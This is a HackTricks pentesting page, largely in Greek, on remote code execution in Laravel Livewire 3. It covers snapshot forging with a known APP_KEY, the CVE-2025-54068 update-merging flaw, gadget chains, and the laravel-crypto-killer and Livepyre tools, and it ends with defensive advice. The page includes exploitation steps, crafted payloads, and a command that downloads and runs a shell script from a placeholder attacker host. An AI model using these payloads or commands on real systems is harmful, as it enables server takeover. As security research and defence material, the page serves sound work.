Laravel Livewire Hydration & Synthesizer Abuse
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Ανασκόπηση της μηχανής καταστάσεων του Livewire
Τα components του Livewire 3 ανταλλάσσουν την κατάστασή τους μέσω των snapshots που περιέχουν data, memo και έναν checksum. Κάθε POST προς το /livewire/update επαναϋδατώνει το JSON snapshot στην πλευρά του server και εκτελεί τις σε ουρά calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Οποιοσδήποτε έχει το APP_KEY (χρησιμοποιείται για την παραγωγή του $hashKey) μπορεί επομένως να πλαστογραφήσει αυθαίρετα snapshots επαναυπολογίζοντας το HMAC.
Οι σύνθετες ιδιότητες κωδικοποιούνται ως synthetic tuples που εντοπίζονται από την Livewire\Drawer\BaseUtils::isSyntheticTuple(); κάθε tuple είναι [value, {"s":"<key>", ...meta}]. Ο πυρήνας της hydration απλώς αναθέτει κάθε tuple στο synth που επιλέγεται στο HandleComponents::$propertySynthesizers και αναδρομεί στα παιδιά:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Αυτός ο αναδρομικός σχεδιασμός κάνει το Livewire έναν generic object-instantiation engine μόλις ένας επιτιθέμενος ελέγξει είτε τα μεταδεδομένα του tuple είτε οποιοδήποτε εμφωλευμένο tuple που επεξεργάζεται κατά την αναδρομή.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Οποιαδήποτε κλάση με array constructor μπορεί να δημιουργηθεί, και κάθε item μπορεί το ίδιο να είναι ένα synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors που δέχονται δύο loosely typed parameters (ή default args) είναι αρκετοί για πρόσβαση σε αυθαίρετες public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:
- Queueable trait – any object using
Illuminate\Bus\Queueableexposes public$chainedand executesunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) is instantiated viaCollectionSynth/FormObjectSynthwith public$chainedpopulated. - phpggc Laravel/RCE4Adapted – the serialized blob stored in
$chained[0]buildsPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finally callscall_user_func_array($closure, $args)enablingsystem($cmd). - Stealth termination – by handing a second
FnStreamcallable such as[new Laravel\Prompts\Terminal(), 'exit'], the request ends withexit()instead of a noisy exception, keeping the HTTP response clean.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Το εργαλείο αναλύει το captured snapshot, εισάγει τα gadget tuples, επανυπολογίζει το checksum, και εκτυπώνει ένα έτοιμο προς αποστολή /livewire/update payload.
CVE-2025-54068 – RCE χωρίς APP_KEY
Σύμφωνα με την ανακοίνωση του vendor, το ζήτημα επηρεάζει Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) και είναι μοναδικό στο v3.
updates συγχωνεύονται στην κατάσταση του component μετά την επικύρωση του snapshot checksum. Εάν μια ιδιότητα μέσα στο snapshot είναι (ή γίνει) ένα synthetic tuple, το Livewire επαναχρησιμοποιεί τα meta του ενώ hydrating την attacker-controlled update value:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Συνταγή εκμετάλλευσης:
- Βρείτε ένα Livewire component με μια μη-τυποποιημένη δημόσια ιδιότητα (π.χ.,
public $count;). - Στείλτε ένα update που ορίζει αυτήν την ιδιότητα σε
[]. Το επόμενο snapshot τώρα το αποθηκεύει ως[[], {"s": "arr"}].
Μια ελάχιστη ροή type-juggling μοιάζει ως εξής:
POST /livewire/update
...
"updates": {"count": []}
Τότε το επόμενο snapshot αποθηκεύει ένα tuple που κρατάει τα μεταδεδομένα του synthesizer arr:
"count": [[], {"s": "arr"}]
- Δημιουργήστε άλλο payload
updatesόπου αυτή η ιδιότητα περιέχει ένα βαθιά εμφωλευμένο array που ενσωματώνει tuples όπως[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Κατά τη διάρκεια της αναδρομής, η
hydrate()αξιολογεί κάθε εμφωλευμένο child ανεξάρτητα, έτσι τα synth keys/classes που επιλέχθηκαν από τον επιτιθέμενο γίνονται σεβαστά ακόμη κι αν το εξωτερικό tuple και το checksum δεν άλλαξαν ποτέ. - Επαναχρησιμοποιήστε τα ίδια primitives
CollectionSynth/FormObjectSynthγια να instantiate ένα Queueable gadget του οποίου το$chained[0]περιέχει το phpggc payload. Το Livewire επεξεργάζεται τα παραποιημένα updates, καλεί τηνdispatchNextJobInChain(), και φτάνει σεsystem(<cmd>)χωρίς να γνωρίζει τοAPP_KEY.
Κύριοι λόγοι που αυτό λειτουργεί:
- Τα
updatesδεν καλύπτονται από το checksum του snapshot. - Η
getMetaForPath()εμπιστεύεται οποιαδήποτε synth metadata υπήρχε ήδη για αυτή την ιδιότητα, ακόμη κι αν ο επιτιθέμενος προηγουμένως την ανάγκασε να γίνει tuple μέσω weak typing. - Η αναδρομή μαζί με weak typing επιτρέπει σε κάθε εμφωλευμένο array να ερμηνευτεί ως ένα ολοκαίνουργιο tuple, έτσι ώστε αυθαίρετα synth keys και αυθαίρετες classes τελικά να φτάνουν στην hydration.
Livepyre – ολοκληρωμένη εκμετάλλευση
Livepyre αυτοματοποιεί τόσο το APP_KEY-less CVE όσο και τη signed-snapshot path:
- Αναγνωρίζει την έκδοση Livewire που έχει αναπτυχθεί κάνοντας parse του
<script src="/livewire/livewire.js?id=HASH">και αντιστοιχίζοντας το hash σε ευπαθείς εκδόσεις. - Συλλέγει baseline snapshots αναπαριστώντας αβλαβείς ενέργειες και εξάγοντας το
components[].snapshot. - Δημιουργεί είτε ένα μόνο payload
updates(CVE-2025-54068) είτε ένα παραποιημένο snapshot (γνωστό APP_KEY) που ενσωματώνει την αλυσίδα phpggc. - Εάν δεν βρεθεί παράμετρος τύπου object σε ένα snapshot, το Livepyre καταφεύγει σε brute-forcing υποψήφιων params για να φτάσει σε μια ιδιότητα που μπορεί να εξαναγκαστεί.
Τυπική χρήση:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check εκτελεί μια μη-καταστροφική δοκιμή, -F παρακάμπτει τον έλεγχο έκδοσης (version gating), -H και -P προσθέτουν προσαρμοσμένες κεφαλίδες ή διακομιστές μεσολάβησης (proxies), και --function/--param προσαρμόζουν τη php function που καλείται από το gadget chain.
Αμυντικές συστάσεις
- Αναβαθμίστε σε fixed Livewire builds (>= 3.6.4 σύμφωνα με το vendor bulletin) και αναπτύξτε το vendor patch για CVE-2025-54068.
- Αποφύγετε weakly typed public properties σε Livewire components· ρητοί scalar τύποι εμποδίζουν τις τιμές ιδιοτήτων να αναγκαστούν σε arrays/tuples.
- Καταχωρίστε μόνο τους synthesizers που πραγματικά χρειάζεστε και θεωρείστε τα user-controlled metadata (
$meta['class']) ως μη αξιόπιστα. - Απορρίψτε ενημερώσεις που αλλάζουν τον JSON τύπο μιας ιδιότητας (π.χ., scalar -> array) εκτός αν επιτρέπεται ρητά, και επαναπαράγετε τα synth metadata αντί να επαναχρησιμοποιείτε ξεπερασμένα tuples.
- Περιστρέψτε (rotate) το
APP_KEYάμεσα μετά από οποιαδήποτε αποκάλυψη, γιατί αυτό επιτρέπει offline snapshot forging ανεξάρτητα από το πόσο patched είναι το code-base.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


